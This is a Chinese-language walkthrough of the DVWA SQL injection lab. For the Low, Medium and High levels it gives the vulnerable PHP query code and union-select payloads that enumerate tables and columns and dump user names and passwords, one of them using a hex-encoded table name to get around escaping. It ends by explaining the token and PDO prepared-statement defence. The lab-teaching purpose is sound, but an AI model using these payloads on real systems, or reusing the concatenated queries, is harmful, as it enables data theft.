注:源码在 vulnerabilities/sqli 及其子目录 source 中
Low
源码
1 2 3 4 $id = $_REQUEST [ 'id' ];$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id ';" ;
payload(GET)
1 2 3 4 5 6 7 8 9 10 11 // 查列数 ?id=1' order by 2%23&Submit=Submit# // 查表名 ?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23&Submit=Submit# // 查列名 ?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23&Submit=Submit# // 字段内容 ?id=-1' union select group_concat(User),group_concat(Password) from users%23&Submit=Submit#
Medium
源码
1 2 3 4 5 $id = $_POST [ 'id' ];$id = mysql_real_escape_string( $id ); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id ;" ;
payload(POST)
1 2 3 4 5 6 7 8 9 10 11 // 查列数 id=1 order by 2%23&Submit=Submit# // 查表名 id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23&Submit=Submit# // 查列名,转义了引号,使用users的16进制绕过0×7573657273(ascii码中u-0x75, s-0x73, e-0x65,r-0x72) id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273%23&Submit=Submit# // 字段内容 id=-1 union select group_concat(User),group_concat(Password) from users%23&Subit=Submit#
High
源码
1 2 3 4 5 6 $_SESSION [ 'id' ] = $_POST [ 'id' ];$id = $_SESSION [ 'id' ];$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id ' LIMIT 1;" ;
payload(POST)
1 2 3 4 5 6 7 8 9 10 11 // 查列数 id=2' order by 2#&Submit=Submit# // 查表名 id=-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#&Submit=Submit# // 查列名 id=-1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#&Submit=Submit# // 字段内容 id=-1' union select group_concat(User),group_concat(Password) from users#&Submit=Submit#
Impossible
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php if ( isset ( $_GET [ 'Submit' ] ) ) { checkToken( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $id = $_GET [ 'id' ]; if (is_numeric( $id )) { $data = $db ->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data ->bindParam( ':id' , $id , PDO::PARAM_INT ); $data ->execute(); $row = $data ->fetch(); if ( $data ->rowCount() == 1 ) { $first = $row [ 'first_name' ]; $last = $row [ 'last_name' ]; $html .= "<pre>ID: {$id} <br />First name: {$first} <br />Surname: {$last} </pre>" ; } } } generateSessionToken(); ?>
分析
开头调用 checkToken,检查网页参数里的 token 和服务器生成的是否相等,每次 submit 都会从 session 列表中获取 token 的值并提交,在 index.php 中可以看出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if ( $vulnerabilityFile == 'impossible.php' ) $page [ 'body' ] .= " " . tokenField(); function tokenField ( ) { return "<input type='hidden' name='user_token' value='{$_SESSION[ 'session_token' ]} ' />" ; } function checkToken ( $user_token , $session_token , $returnURL ) { if ( $user_token !== $session_token || !isset ( $session_token ) ) { dvwaMessagePush( 'CSRF token is incorrect' ); dvwaRedirect( $returnURL ); } }
之后使用 PDO 方式连接、操作数据库,实现代码和数据分离,有效防止数据截断代码造成意外泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function dvwaDatabaseConnect ( ) { ...... $db = new PDO('mysql:host=' . $_DVWA [ 'db_server' ].';dbname=' . $_DVWA [ 'db_database' ].';charset=utf8' , $_DVWA [ 'db_user' ], $_DVWA [ 'db_password' ]); $db ->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $db ->setAttribute(PDO::ATTR_EMULATE_PREPARES, false ); ...... } $data = $db ->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data ->bindParam( ':id' , $id , PDO::PARAM_INT );$data ->execute();$row = $data ->fetch();
结束时调用 generateSessionToken 生成下一个token
1 2 3 4 5 6 7 8 9 10 11 12 function generateSessionToken ( ) { if ( isset ( $_SESSION [ 'session_token' ] ) ) { destroySessionToken(); } $_SESSION [ 'session_token' ] = md5( uniqid() ); } function destroySessionToken ( ) { unset ( $_SESSION [ 'session_token' ] ); }
token + PDO 双重保护,是一种有效防御 sql 注入的思路